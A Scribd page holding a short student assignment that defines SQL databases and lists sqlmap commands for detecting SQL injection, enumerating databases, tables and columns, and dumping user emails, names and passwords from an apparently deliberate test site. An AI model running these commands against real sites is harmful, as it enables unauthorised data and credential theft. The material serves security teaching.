Scribd
Upload
9 views3 pages

SQL Database Vulnerability Testing Guide

Uploaded by

ankurdcs101106
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
9 views3 pages

SQL Database Vulnerability Testing Guide

Uploaded by

ankurdcs101106
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Krish Patel

2403031260022
Roll no. 27
What is an SQL Database?

An SQL (Structured Query Language) database is a system used to store, retrieve,


and manage data in a structured manner. It follows a relational model, meaning data
is stored in tables with prede ned relationships. Popular SQL database management
systems (DBMS) include MySQL, PostgreSQL, Microsoft SQL Server, and SQLite.

Steps to Find SQL Vulnerabilities Using SQLMAP


1. Identify the Target URL: Determine a web application that accepts input parameters via
GET or POST requests.

2. Use SQLMAP to Test for SQL Injection: Execute sqlmap -u "http://


[Link]/[Link]?cat=1" --dbs to check if
the site is vulnerable.
fi
3. Enumerate Databases: If vulnerable, SQLMAP retrieves available databases using --
dbs.

4. List Tables in a Database: Use sqlmap -u "http://


[Link]/[Link]?cat=1" -D acuart --
tables.
5. Extract Columns in a Table: Execute sqlmap -u "http://
[Link]/[Link]?cat=1" -D tables -T
users --columns.

6. Dump Data from a Table: Run sqlmap -u “http://


[Link]/[Link]?cat=1" -D acuart -T
users-C email,name,pass —dump to extract speci c data

fi

You might also like